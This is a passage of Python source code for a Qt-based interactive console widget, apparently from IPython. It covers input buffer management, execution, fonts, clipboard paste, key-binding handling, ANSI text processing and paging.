If incomplete input is given and 'hidden' is True. In this case,
it is not possible to prompt for more input.
Returns:
--------
A boolean indicating whether the source was executed.
"""
# WARNING: The order in which things happen here is very particular, in
# large part because our syntax highlighting is fragile. If you change
# something, test carefully!
# Decide what to execute.
if source is None:
source = self.input_buffer
if not hidden:
# A newline is appended later, but it should be considered part
# of the input buffer.
source += '\n'
elif not hidden:
self.input_buffer = source
# Execute the source or show a continuation prompt if it is incomplete.
complete = self._is_complete(source, interactive)
if hidden:
if complete:
self._execute(source, hidden)
else:
error = 'Incomplete noninteractive input: "%s"'
raise RuntimeError(error % source)
else:
if complete:
self._append_plain_text('\n')
self._input_buffer_executing = self.input_buffer
self._executing = True
self._prompt_finished()
# The maximum block count is only in effect during execution.
# This ensures that _prompt_pos does not become invalid due to
# text truncation.
self._control.document().setMaximumBlockCount(self.buffer_size)
# Setting a positive maximum block count will automatically
# disable the undo/redo history, but just to be safe:
self._control.setUndoRedoEnabled(False)
# Perform actual execution.
self._execute(source, hidden)
else:
# Do this inside an edit block so continuation prompts are
# removed seamlessly via undo/redo.
cursor = self._get_end_cursor()
cursor.beginEditBlock()
cursor.insertText('\n')
self._insert_continuation_prompt(cursor)
cursor.endEditBlock()
# Do not do this inside the edit block. It works as expected
# when using a QPlainTextEdit control, but does not have an
# effect when using a QTextEdit. I believe this is a Qt bug.
self._control.moveCursor(QtGui.QTextCursor.End)
return complete
def export_html(self):
""" Shows a dialog to export HTML/XML in various formats.
"""
self._html_exporter.export()
def _get_input_buffer(self, force=False):
""" The text that the user has entered entered at the current prompt.
If the console is currently executing, the text that is executing will
always be returned.
"""
# If we're executing, the input buffer may not even exist anymore due to
# the limit imposed by 'buffer_size'. Therefore, we store it.
if self._executing and not force:
return self._input_buffer_executing
cursor = self._get_end_cursor()
cursor.setPosition(self._prompt_pos, QtGui.QTextCursor.KeepAnchor)
input_buffer = cursor.selection().toPlainText()
# Strip out continuation prompts.
return input_buffer.replace('\n' + self._continuation_prompt, '\n')
def _set_input_buffer(self, string):
""" Sets the text in the input buffer.
If the console is currently executing, this call has no *immediate*
effect. When the execution is finished, the input buffer will be updated
appropriately.
"""
# If we're executing, store the text for later.
if self._executing:
self._input_buffer_pending = string
return
# Remove old text.
cursor = self._get_end_cursor()
cursor.beginEditBlock()
cursor.setPosition(self._prompt_pos, QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
# Insert new text with continuation prompts.
self._insert_plain_text_into_buffer(self._get_prompt_cursor(), string)
cursor.endEditBlock()
self._control.moveCursor(QtGui.QTextCursor.End)
input_buffer = property(_get_input_buffer, _set_input_buffer)
def _get_font(self):
""" The base font being used by the ConsoleWidget.
"""
return self._control.document().defaultFont()
def _set_font(self, font):
""" Sets the base font for the ConsoleWidget to the specified QFont.
"""
font_metrics = QtGui.QFontMetrics(font)
self._control.setTabStopWidth(self.tab_width * font_metrics.width(' '))
self._completion_widget.setFont(font)
self._control.document().setDefaultFont(font)
if self._page_control:
self._page_control.document().setDefaultFont(font)
self.font_changed.emit(font)
font = property(_get_font, _set_font)
def paste(self, mode=QtGui.QClipboard.Clipboard):
""" Paste the contents of the clipboard into the input region.
Parameters:
-----------
mode : QClipboard::Mode, optional [default QClipboard::Clipboard]
Controls which part of the system clipboard is used. This can be
used to access the selection clipboard in X11 and the Find buffer
in Mac OS. By default, the regular clipboard is used.
"""
if self._control.textInteractionFlags() & QtCore.Qt.TextEditable:
# Make sure the paste is safe.
self._keep_cursor_in_buffer()
cursor = self._control.textCursor()
# Remove any trailing newline, which confuses the GUI and forces the
# user to backspace.
text = QtGui.QApplication.clipboard().text(mode).rstrip()
self._insert_plain_text_into_buffer(cursor, dedent(text))
def print_(self, printer = None):
""" Print the contents of the ConsoleWidget to the specified QPrinter.
"""
if (not printer):
printer = QtGui.QPrinter()
if(QtGui.QPrintDialog(printer).exec_() != QtGui.QDialog.Accepted):
return
self._control.print_(printer)
def prompt_to_top(self):
""" Moves the prompt to the top of the viewport.
"""
if not self._executing:
prompt_cursor = self._get_prompt_cursor()
if self._get_cursor().blockNumber() < prompt_cursor.blockNumber():
self._set_cursor(prompt_cursor)
self._set_top_cursor(prompt_cursor)
def redo(self):
""" Redo the last operation. If there is no operation to redo, nothing
happens.
"""
self._control.redo()
def reset_font(self):
""" Sets the font to the default fixed-width font for this platform.
"""
if sys.platform == 'win32':
# Consolas ships with Vista/Win7, fallback to Courier if needed
fallback = 'Courier'
elif sys.platform == 'darwin':
# OSX always has Monaco
fallback = 'Monaco'
else:
# Monospace should always exist
fallback = 'Monospace'
font = get_font(self.font_family, fallback)
if self.font_size:
font.setPointSize(self.font_size)
else:
font.setPointSize(QtGui.qApp.font().pointSize())
font.setStyleHint(QtGui.QFont.TypeWriter)
self._set_font(font)
def change_font_size(self, delta):
"""Change the font size by the specified amount (in points).
"""
font = self.font
size = max(font.pointSize() + delta, 1) # minimum 1 point
font.setPointSize(size)
self._set_font(font)
def _increase_font_size(self):
self.change_font_size(1)
def _decrease_font_size(self):
self.change_font_size(-1)
def select_all(self):
""" Selects all the text in the buffer.
"""
self._control.selectAll()
def _get_tab_width(self):
""" The width (in terms of space characters) for tab characters.
"""
return self._tab_width
def _set_tab_width(self, tab_width):
""" Sets the width (in terms of space characters) for tab characters.
"""
font_metrics = QtGui.QFontMetrics(self.font)
self._control.setTabStopWidth(tab_width * font_metrics.width(' '))
self._tab_width = tab_width
tab_width = property(_get_tab_width, _set_tab_width)
def undo(self):
""" Undo the last operation. If there is no operation to undo, nothing
happens.
"""
self._control.undo()
#---------------------------------------------------------------------------
# 'ConsoleWidget' abstract interface
#---------------------------------------------------------------------------
def _is_complete(self, source, interactive):
""" Returns whether 'source' can be executed. When triggered by an
Enter/Return key press, 'interactive' is True; otherwise, it is
False.
"""
raise NotImplementedError
def _execute(self, source, hidden):
""" Execute 'source'. If 'hidden', do not show any output.
"""
raise NotImplementedError
def _prompt_started_hook(self):
""" Called immediately after a new prompt is displayed.
"""
pass
def _prompt_finished_hook(self):
""" Called immediately after a prompt is finished, i.e. when some input
will be processed and a new prompt displayed.
"""
pass
def _up_pressed(self, shift_modifier):
""" Called when the up key is pressed. Returns whether to continue
processing the event.
"""
return True
def _down_pressed(self, shift_modifier):
""" Called when the down key is pressed. Returns whether to continue
processing the event.
"""
return True
def _tab_pressed(self):
""" Called when the tab key is pressed. Returns whether to continue
processing the event.
"""
return False
#--------------------------------------------------------------------------
# 'ConsoleWidget' protected interface
#--------------------------------------------------------------------------
def _append_custom(self, insert, input, before_prompt=False):
""" A low-level method for appending content to the end of the buffer.
If 'before_prompt' is enabled, the content will be inserted before the
current prompt, if there is one.
"""
# Determine where to insert the content.
cursor = self._control.textCursor()
if before_prompt and (self._reading or not self._executing):
cursor.setPosition(self._append_before_prompt_pos)
else:
cursor.movePosition(QtGui.QTextCursor.End)
start_pos = cursor.position()
# Perform the insertion.
result = insert(cursor, input)
# Adjust the prompt position if we have inserted before it. This is safe
# because buffer truncation is disabled when not executing.
if before_prompt and not self._executing:
diff = cursor.position() - start_pos
self._append_before_prompt_pos += diff
self._prompt_pos += diff
return result
def _append_html(self, html, before_prompt=False):
""" Appends HTML at the end of the console buffer.
"""
self._append_custom(self._insert_html, html, before_prompt)
def _append_html_fetching_plain_text(self, html, before_prompt=False):
""" Appends HTML, then returns the plain text version of it.
"""
return self._append_custom(self._insert_html_fetching_plain_text,
html, before_prompt)
def _append_plain_text(self, text, before_prompt=False):
""" Appends plain text, processing ANSI codes if enabled.
"""
self._append_custom(self._insert_plain_text, text, before_prompt)
def _cancel_completion(self):
""" If text completion is progress, cancel it.
"""
self._completion_widget.cancel_completion()
def _clear_temporary_buffer(self):
""" Clears the "temporary text" buffer, i.e. all the text following
the prompt region.
"""
# Select and remove all text below the input buffer.
cursor = self._get_prompt_cursor()
prompt = self._continuation_prompt.lstrip()
if(self._temp_buffer_filled):
self._temp_buffer_filled = False
while cursor.movePosition(QtGui.QTextCursor.NextBlock):
temp_cursor = QtGui.QTextCursor(cursor)
temp_cursor.select(QtGui.QTextCursor.BlockUnderCursor)
text = temp_cursor.selection().toPlainText().lstrip()
if not text.startswith(prompt):
break
else:
# We've reached the end of the input buffer and no text follows.
return
cursor.movePosition(QtGui.QTextCursor.Left) # Grab the newline.
cursor.movePosition(QtGui.QTextCursor.End,
QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
# After doing this, we have no choice but to clear the undo/redo
# history. Otherwise, the text is not "temporary" at all, because it
# can be recalled with undo/redo. Unfortunately, Qt does not expose
# fine-grained control to the undo/redo system.
if self._control.isUndoRedoEnabled():
self._control.setUndoRedoEnabled(False)
self._control.setUndoRedoEnabled(True)
def _complete_with_items(self, cursor, items):
""" Performs completion with 'items' at the specified cursor location.
"""
self._cancel_completion()
if len(items) == 1:
cursor.setPosition(self._control.textCursor().position(),
QtGui.QTextCursor.KeepAnchor)
cursor.insertText(items[0])
elif len(items) > 1:
current_pos = self._control.textCursor().position()
prefix = commonprefix(items)
if prefix:
cursor.setPosition(current_pos, QtGui.QTextCursor.KeepAnchor)
cursor.insertText(prefix)
current_pos = cursor.position()
cursor.movePosition(QtGui.QTextCursor.Left, n=len(prefix))
self._completion_widget.show_items(cursor, items)
def _fill_temporary_buffer(self, cursor, text, html=False):
"""fill the area below the active editting zone with text"""
current_pos = self._control.textCursor().position()
cursor.beginEditBlock()
self._append_plain_text('\n')
self._page(text, html=html)
cursor.endEditBlock()
cursor.setPosition(current_pos)
self._control.moveCursor(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
self._temp_buffer_filled = True
def _context_menu_make(self, pos):
""" Creates a context menu for the given QPoint (in widget coordinates).
"""
menu = QtGui.QMenu(self)
self.cut_action = menu.addAction('Cut', self.cut)
self.cut_action.setEnabled(self.can_cut())
self.cut_action.setShortcut(QtGui.QKeySequence.Cut)
self.copy_action = menu.addAction('Copy', self.copy)
self.copy_action.setEnabled(self.can_copy())
self.copy_action.setShortcut(QtGui.QKeySequence.Copy)
self.paste_action = menu.addAction('Paste', self.paste)
self.paste_action.setEnabled(self.can_paste())
self.paste_action.setShortcut(QtGui.QKeySequence.Paste)
menu.addSeparator()
menu.addAction(self.select_all_action)
menu.addSeparator()
menu.addAction(self.export_action)
menu.addAction(self.print_action)
return menu
def _control_key_down(self, modifiers, include_command=False):
""" Given a KeyboardModifiers flags object, return whether the Control
key is down.
Parameters:
-----------
include_command : bool, optional (default True)
Whether to treat the Command key as a (mutually exclusive) synonym
for Control when in Mac OS.
"""
# Note that on Mac OS, ControlModifier corresponds to the Command key
# while MetaModifier corresponds to the Control key.
if sys.platform == 'darwin':
down = include_command and (modifiers & QtCore.Qt.ControlModifier)
return bool(down) ^ bool(modifiers & QtCore.Qt.MetaModifier)
else:
return bool(modifiers & QtCore.Qt.ControlModifier)
def _create_control(self):
""" Creates and connects the underlying text widget.
"""
# Create the underlying control.
if self.custom_control:
control = self.custom_control()
elif self.kind == 'plain':
control = QtGui.QPlainTextEdit()
elif self.kind == 'rich':
control = QtGui.QTextEdit()
control.setAcceptRichText(False)
# Install event filters. The filter on the viewport is needed for
# mouse events and drag events.
control.installEventFilter(self)
control.viewport().installEventFilter(self)
# Connect signals.
control.customContextMenuRequested.connect(
self._custom_context_menu_requested)
control.copyAvailable.connect(self.copy_available)
control.redoAvailable.connect(self.redo_available)
control.undoAvailable.connect(self.undo_available)
# Hijack the document size change signal to prevent Qt from adjusting
# the viewport's scrollbar. We are relying on an implementation detail
# of Q(Plain)TextEdit here, which is potentially dangerous, but without
# this functionality we cannot create a nice terminal interface.
layout = control.document().documentLayout()
layout.documentSizeChanged.disconnect()
layout.documentSizeChanged.connect(self._adjust_scrollbars)
# Configure the control.
control.setAttribute(QtCore.Qt.WA_InputMethodEnabled, True)
control.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
control.setReadOnly(True)
control.setUndoRedoEnabled(False)
control.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)
return control
def _create_page_control(self):
""" Creates and connects the underlying paging widget.
"""
if self.custom_page_control:
control = self.custom_page_control()
elif self.kind == 'plain':
control = QtGui.QPlainTextEdit()
elif self.kind == 'rich':
control = QtGui.QTextEdit()
control.installEventFilter(self)
viewport = control.viewport()
viewport.installEventFilter(self)
control.setReadOnly(True)
control.setUndoRedoEnabled(False)
control.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)
return control
def _event_filter_console_keypress(self, event):
""" Filter key events for the underlying text widget to create a
console-like interface.
"""
intercepted = False
cursor = self._control.textCursor()
position = cursor.position()
key = event.key()
ctrl_down = self._control_key_down(event.modifiers())
alt_down = event.modifiers() & QtCore.Qt.AltModifier
shift_down = event.modifiers() & QtCore.Qt.ShiftModifier
#------ Special sequences ----------------------------------------------
if event.matches(QtGui.QKeySequence.Copy):
self.copy()
intercepted = True
elif event.matches(QtGui.QKeySequence.Cut):
self.cut()
intercepted = True
elif event.matches(QtGui.QKeySequence.Paste):
self.paste()
intercepted = True
#------ Special modifier logic -----------------------------------------
elif key in (QtCore.Qt.Key_Return, QtCore.Qt.Key_Enter):
intercepted = True
# Special handling when tab completing in text mode.
self._cancel_completion()
if self._in_buffer(position):
# Special handling when a reading a line of raw input.
if self._reading:
self._append_plain_text('\n')
self._reading = False
if self._reading_callback:
self._reading_callback()
# If the input buffer is a single line or there is only
# whitespace after the cursor, execute. Otherwise, split the
# line with a continuation prompt.
elif not self._executing:
cursor.movePosition(QtGui.QTextCursor.End,
QtGui.QTextCursor.KeepAnchor)
at_end = len(cursor.selectedText().strip()) == 0
single_line = (self._get_end_cursor().blockNumber() ==
self._get_prompt_cursor().blockNumber())
if (at_end or shift_down or single_line) and not ctrl_down:
self.execute(interactive = not shift_down)
else:
# Do this inside an edit block for clean undo/redo.
cursor.beginEditBlock()
cursor.setPosition(position)
cursor.insertText('\n')
self._insert_continuation_prompt(cursor)
cursor.endEditBlock()
# Ensure that the whole input buffer is visible.
# FIXME: This will not be usable if the input buffer is
# taller than the console widget.
self._control.moveCursor(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
#------ Control/Cmd modifier -------------------------------------------
elif ctrl_down:
if key == QtCore.Qt.Key_G:
self._keyboard_quit()
intercepted = True
elif key == QtCore.Qt.Key_K:
if self._in_buffer(position):
cursor.clearSelection()
cursor.movePosition(QtGui.QTextCursor.EndOfLine,
QtGui.QTextCursor.KeepAnchor)
if not cursor.hasSelection():
# Line deletion (remove continuation prompt)
cursor.movePosition(QtGui.QTextCursor.NextBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor,
len(self._continuation_prompt))
self._kill_ring.kill_cursor(cursor)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_L:
self.prompt_to_top()
intercepted = True
elif key == QtCore.Qt.Key_O:
if self._page_control and self._page_control.isVisible():
self._page_control.setFocus()
intercepted = True
elif key == QtCore.Qt.Key_U:
if self._in_buffer(position):
cursor.clearSelection()
start_line = cursor.blockNumber()
if start_line == self._get_prompt_cursor().blockNumber():
offset = len(self._prompt)
else:
offset = len(self._continuation_prompt)
cursor.movePosition(QtGui.QTextCursor.StartOfBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor, offset)
self._kill_ring.kill_cursor(cursor)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Y:
self._keep_cursor_in_buffer()
self._kill_ring.yank()
intercepted = True
elif key in (QtCore.Qt.Key_Backspace, QtCore.Qt.Key_Delete):
if key == QtCore.Qt.Key_Backspace:
cursor = self._get_word_start_cursor(position)
else: # key == QtCore.Qt.Key_Delete
cursor = self._get_word_end_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
self._kill_ring.kill_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_D:
if len(self.input_buffer) == 0:
self.exit_requested.emit(self)
else:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_Delete,
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(self._control, new_event)
intercepted = True
#------ Alt modifier ---------------------------------------------------
elif alt_down:
if key == QtCore.Qt.Key_B:
self._set_cursor(self._get_word_start_cursor(position))
intercepted = True
elif key == QtCore.Qt.Key_F:
self._set_cursor(self._get_word_end_cursor(position))
intercepted = True
elif key == QtCore.Qt.Key_Y:
self._kill_ring.rotate()
intercepted = True
elif key == QtCore.Qt.Key_Backspace:
cursor = self._get_word_start_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
self._kill_ring.kill_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_D:
cursor = self._get_word_end_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
self._kill_ring.kill_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Delete:
intercepted = True
elif key == QtCore.Qt.Key_Greater:
self._control.moveCursor(QtGui.QTextCursor.End)
intercepted = True
elif key == QtCore.Qt.Key_Less:
self._control.setTextCursor(self._get_prompt_cursor())
intercepted = True
#------ No modifiers ---------------------------------------------------
else:
if shift_down:
anchormode = QtGui.QTextCursor.KeepAnchor
else:
anchormode = QtGui.QTextCursor.MoveAnchor
if key == QtCore.Qt.Key_Escape:
self._keyboard_quit()
intercepted = True
elif key == QtCore.Qt.Key_Up:
if self._reading or not self._up_pressed(shift_down):
intercepted = True
else:
prompt_line = self._get_prompt_cursor().blockNumber()
intercepted = cursor.blockNumber() <= prompt_line
elif key == QtCore.Qt.Key_Down:
if self._reading or not self._down_pressed(shift_down):
intercepted = True
else:
end_line = self._get_end_cursor().blockNumber()
intercepted = cursor.blockNumber() == end_line
elif key == QtCore.Qt.Key_Tab:
if not self._reading:
if self._tab_pressed():
# real tab-key, insert four spaces
cursor.insertText(' '*4)
intercepted = True
elif key == QtCore.Qt.Key_Left:
# Move to the previous line
line, col = cursor.blockNumber(), cursor.columnNumber()
if line > self._get_prompt_cursor().blockNumber() and \
col == len(self._continuation_prompt):
self._control.moveCursor(QtGui.QTextCursor.PreviousBlock,
mode=anchormode)
self._control.moveCursor(QtGui.QTextCursor.EndOfBlock,
mode=anchormode)
intercepted = True
# Regular left movement
else:
intercepted = not self._in_buffer(position - 1)
elif key == QtCore.Qt.Key_Right:
original_block_number = cursor.blockNumber()
cursor.movePosition(QtGui.QTextCursor.Right,
mode=anchormode)
if cursor.blockNumber() != original_block_number:
cursor.movePosition(QtGui.QTextCursor.Right,
n=len(self._continuation_prompt),
mode=anchormode)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Home:
start_line = cursor.blockNumber()
if start_line == self._get_prompt_cursor().blockNumber():
start_pos = self._prompt_pos
else:
cursor.movePosition(QtGui.QTextCursor.StartOfBlock,
QtGui.QTextCursor.KeepAnchor)
start_pos = cursor.position()
start_pos += len(self._continuation_prompt)
cursor.setPosition(position)
if shift_down and self._in_buffer(position):
cursor.setPosition(start_pos, QtGui.QTextCursor.KeepAnchor)
else:
cursor.setPosition(start_pos)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Backspace:
# Line deletion (remove continuation prompt)
line, col = cursor.blockNumber(), cursor.columnNumber()
if not self._reading and \
col == len(self._continuation_prompt) and \
line > self._get_prompt_cursor().blockNumber():
cursor.beginEditBlock()
cursor.movePosition(QtGui.QTextCursor.StartOfBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
cursor.deletePreviousChar()
cursor.endEditBlock()
intercepted = True
# Regular backwards deletion
else:
anchor = cursor.anchor()
if anchor == position:
intercepted = not self._in_buffer(position - 1)
else:
intercepted = not self._in_buffer(min(anchor, position))
elif key == QtCore.Qt.Key_Delete:
# Line deletion (remove continuation prompt)
if not self._reading and self._in_buffer(position) and \
cursor.atBlockEnd() and not cursor.hasSelection():
cursor.movePosition(QtGui.QTextCursor.NextBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor,
len(self._continuation_prompt))
cursor.removeSelectedText()
intercepted = True
# Regular forwards deletion:
else:
anchor = cursor.anchor()
intercepted = (not self._in_buffer(anchor) or
not self._in_buffer(position))
# Don't move the cursor if Control/Cmd is pressed to allow copy-paste
# using the keyboard in any part of the buffer. Also, permit scrolling
# with Page Up/Down keys. Finally, if we're executing, don't move the
# cursor (if even this made sense, we can't guarantee that the prompt
# position is still valid due to text truncation).
if not (self._control_key_down(event.modifiers(), include_command=True)
or key in (QtCore.Qt.Key_PageUp, QtCore.Qt.Key_PageDown)
or (self._executing and not self._reading)):
self._keep_cursor_in_buffer()
return intercepted
def _event_filter_page_keypress(self, event):
""" Filter key events for the paging widget to create console-like
interface.
"""
key = event.key()
ctrl_down = self._control_key_down(event.modifiers())
alt_down = event.modifiers() & QtCore.Qt.AltModifier
if ctrl_down:
if key == QtCore.Qt.Key_O:
self._control.setFocus()
intercept = True
elif alt_down:
if key == QtCore.Qt.Key_Greater:
self._page_control.moveCursor(QtGui.QTextCursor.End)
intercepted = True
elif key == QtCore.Qt.Key_Less:
self._page_control.moveCursor(QtGui.QTextCursor.Start)
intercepted = True
elif key in (QtCore.Qt.Key_Q, QtCore.Qt.Key_Escape):
if self._splitter:
self._page_control.hide()
self._control.setFocus()
else:
self.layout().setCurrentWidget(self._control)
return True
elif key in (QtCore.Qt.Key_Enter, QtCore.Qt.Key_Return,
QtCore.Qt.Key_Tab):
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_PageDown,
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(self._page_control, new_event)
return True
elif key == QtCore.Qt.Key_Backspace:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_PageUp,
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(self._page_control, new_event)
return True
return False
def _format_as_columns(self, items, separator=' '):
""" Transform a list of strings into a single string with columns.
Parameters
----------
items : sequence of strings
The strings to process.
separator : str, optional [default is two spaces]
The string that separates columns.
Returns
-------
The formatted string.
"""
# Calculate the number of characters available.
width = self._control.viewport().width()
char_width = QtGui.QFontMetrics(self.font).width(' ')
displaywidth = max(10, (width / char_width) - 1)
return columnize(items, separator, displaywidth)
def _get_block_plain_text(self, block):
""" Given a QTextBlock, return its unformatted text.
"""
cursor = QtGui.QTextCursor(block)
cursor.movePosition(QtGui.QTextCursor.StartOfBlock)
cursor.movePosition(QtGui.QTextCursor.EndOfBlock,
QtGui.QTextCursor.KeepAnchor)
return cursor.selection().toPlainText()
def _get_cursor(self):
""" Convenience method that returns a cursor for the current position.
"""
return self._control.textCursor()
def _get_end_cursor(self):
""" Convenience method that returns a cursor for the last character.
"""
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
return cursor
def _get_input_buffer_cursor_column(self):
""" Returns the column of the cursor in the input buffer, excluding the
contribution by the prompt, or -1 if there is no such column.
"""
prompt = self._get_input_buffer_cursor_prompt()
if prompt is None:
return -1
else:
cursor = self._control.textCursor()
return cursor.columnNumber() - len(prompt)
def _get_input_buffer_cursor_line(self):
""" Returns the text of the line of the input buffer that contains the
cursor, or None if there is no such line.
"""
prompt = self._get_input_buffer_cursor_prompt()
if prompt is None:
return None
else:
cursor = self._control.textCursor()
text = self._get_block_plain_text(cursor.block())
return text[len(prompt):]
def _get_input_buffer_cursor_prompt(self):
""" Returns the (plain text) prompt for line of the input buffer that
contains the cursor, or None if there is no such line.
"""
if self._executing:
return None
cursor = self._control.textCursor()
if cursor.position() >= self._prompt_pos:
if cursor.blockNumber() == self._get_prompt_cursor().blockNumber():
return self._prompt
else:
return self._continuation_prompt
else:
return None
def _get_prompt_cursor(self):
""" Convenience method that returns a cursor for the prompt position.
"""
cursor = self._control.textCursor()
cursor.setPosition(self._prompt_pos)
return cursor
def _get_selection_cursor(self, start, end):
""" Convenience method that returns a cursor with text selected between
the positions 'start' and 'end'.
"""
cursor = self._control.textCursor()
cursor.setPosition(start)
cursor.setPosition(end, QtGui.QTextCursor.KeepAnchor)
return cursor
def _get_word_start_cursor(self, position):
""" Find the start of the word to the left the given position. If a
sequence of non-word characters precedes the first word, skip over
them. (This emulates the behavior of bash, emacs, etc.)
"""
document = self._control.document()
position -= 1
while position >= self._prompt_pos and \
not is_letter_or_number(document.characterAt(position)):
position -= 1
while position >= self._prompt_pos and \
is_letter_or_number(document.characterAt(position)):
position -= 1
cursor = self._control.textCursor()
cursor.setPosition(position + 1)
return cursor
def _get_word_end_cursor(self, position):
""" Find the end of the word to the right the given position. If a
sequence of non-word characters precedes the first word, skip over
them. (This emulates the behavior of bash, emacs, etc.)
"""
document = self._control.document()
end = self._get_end_cursor().position()
while position < end and \
not is_letter_or_number(document.characterAt(position)):
position += 1
while position < end and \
is_letter_or_number(document.characterAt(position)):
position += 1
cursor = self._control.textCursor()
cursor.setPosition(position)
return cursor
def _insert_continuation_prompt(self, cursor):
""" Inserts new continuation prompt using the specified cursor.
"""
if self._continuation_prompt_html is None:
self._insert_plain_text(cursor, self._continuation_prompt)
else:
self._continuation_prompt = self._insert_html_fetching_plain_text(
cursor, self._continuation_prompt_html)
def _insert_html(self, cursor, html):
""" Inserts HTML using the specified cursor in such a way that future
formatting is unaffected.
"""
cursor.beginEditBlock()
cursor.insertHtml(html)
# After inserting HTML, the text document "remembers" it's in "html
# mode", which means that subsequent calls adding plain text will result
# in unwanted formatting, lost tab characters, etc. The following code
# hacks around this behavior, which I consider to be a bug in Qt, by
# (crudely) resetting the document's style state.
cursor.movePosition(QtGui.QTextCursor.Left,
QtGui.QTextCursor.KeepAnchor)
if cursor.selection().toPlainText() == ' ':
cursor.removeSelectedText()
else:
cursor.movePosition(QtGui.QTextCursor.Right)
cursor.insertText(' ', QtGui.QTextCharFormat())
cursor.endEditBlock()
def _insert_html_fetching_plain_text(self, cursor, html):
""" Inserts HTML using the specified cursor, then returns its plain text
version.
"""
cursor.beginEditBlock()
cursor.removeSelectedText()
start = cursor.position()
self._insert_html(cursor, html)
end = cursor.position()
cursor.setPosition(start, QtGui.QTextCursor.KeepAnchor)
text = cursor.selection().toPlainText()
cursor.setPosition(end)
cursor.endEditBlock()
return text
def _insert_plain_text(self, cursor, text):
""" Inserts plain text using the specified cursor, processing ANSI codes
if enabled.
"""
cursor.beginEditBlock()
if self.ansi_codes:
for substring in self._ansi_processor.split_string(text):
for act in self._ansi_processor.actions:
# Unlike real terminal emulators, we don't distinguish
# between the screen and the scrollback buffer. A screen
# erase request clears everything.
if act.action == 'erase' and act.area == 'screen':
cursor.select(QtGui.QTextCursor.Document)
cursor.removeSelectedText()
# Simulate a form feed by scrolling just past the last line.
elif act.action == 'scroll' and act.unit == 'page':
cursor.insertText('\n')
cursor.endEditBlock()
self._set_top_cursor(cursor)
cursor.joinPreviousEditBlock()
cursor.deletePreviousChar()
elif act.action == 'carriage-return':
cursor.movePosition(
cursor.StartOfLine, cursor.KeepAnchor)
elif act.action == 'beep':
QtGui.qApp.beep()
elif act.action == 'backspace':
if not cursor.atBlockStart():
cursor.movePosition(
cursor.PreviousCharacter, cursor.KeepAnchor)
elif act.action == 'newline':
cursor.movePosition(cursor.EndOfLine)
format = self._ansi_processor.get_format()
selection = cursor.selectedText()
if len(selection) == 0:
cursor.insertText(substring, format)
elif substring is not None:
# BS and CR are treated as a change in print
# position, rather than a backwards character
# deletion for output equivalence with (I)Python
# terminal.
if len(substring) >= len(selection):
cursor.insertText(substring, format)
else:
old_text = selection[len(substring):]
cursor.insertText(substring + old_text, format)
cursor.movePosition(cursor.PreviousCharacter,
cursor.KeepAnchor, len(old_text))
else:
cursor.insertText(text)
cursor.endEditBlock()
def _insert_plain_text_into_buffer(self, cursor, text):
""" Inserts text into the input buffer using the specified cursor (which
must be in the input buffer), ensuring that continuation prompts are
inserted as necessary.
"""
lines = text.splitlines(True)
if lines:
cursor.beginEditBlock()
cursor.insertText(lines[0])
for line in lines[1:]:
if self._continuation_prompt_html is None:
cursor.insertText(self._continuation_prompt)
else:
self._continuation_prompt = \
self._insert_html_fetching_plain_text(
cursor, self._continuation_prompt_html)
cursor.insertText(line)
cursor.endEditBlock()
def _in_buffer(self, position=None):
""" Returns whether the current cursor (or, if specified, a position) is
inside the editing region.
"""
cursor = self._control.textCursor()
if position is None:
position = cursor.position()
else:
cursor.setPosition(position)
line = cursor.blockNumber()
prompt_line = self._get_prompt_cursor().blockNumber()
if line == prompt_line:
return position >= self._prompt_pos
elif line > prompt_line:
cursor.movePosition(QtGui.QTextCursor.StartOfBlock)
prompt_pos = cursor.position() + len(self._continuation_prompt)
return position >= prompt_pos
return False
def _keep_cursor_in_buffer(self):
""" Ensures that the cursor is inside the editing region. Returns
whether the cursor was moved.
"""
moved = not self._in_buffer()
if moved:
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
return moved
def _keyboard_quit(self):
""" Cancels the current editing task ala Ctrl-G in Emacs.
"""
if self._temp_buffer_filled :
self._cancel_completion()
self._clear_temporary_buffer()
else:
self.input_buffer = ''
def _page(self, text, html=False):
""" Displays text using the pager if it exceeds the height of the
viewport.
Parameters:
-----------
html : bool, optional (default False)
If set, the text will be interpreted as HTML instead of plain text.
"""
line_height = QtGui.QFontMetrics(self.font).height()
minlines = self._control.viewport().height() / line_height
if self.paging != 'none' and \
re.match("(?:[^\n]*\n){%i}" % minlines, text):
if self.paging == 'custom':
self.custom_page_requested.emit(text)
else:
self._page_control.clear()
cursor = self._page_control.textCursor()
if html:
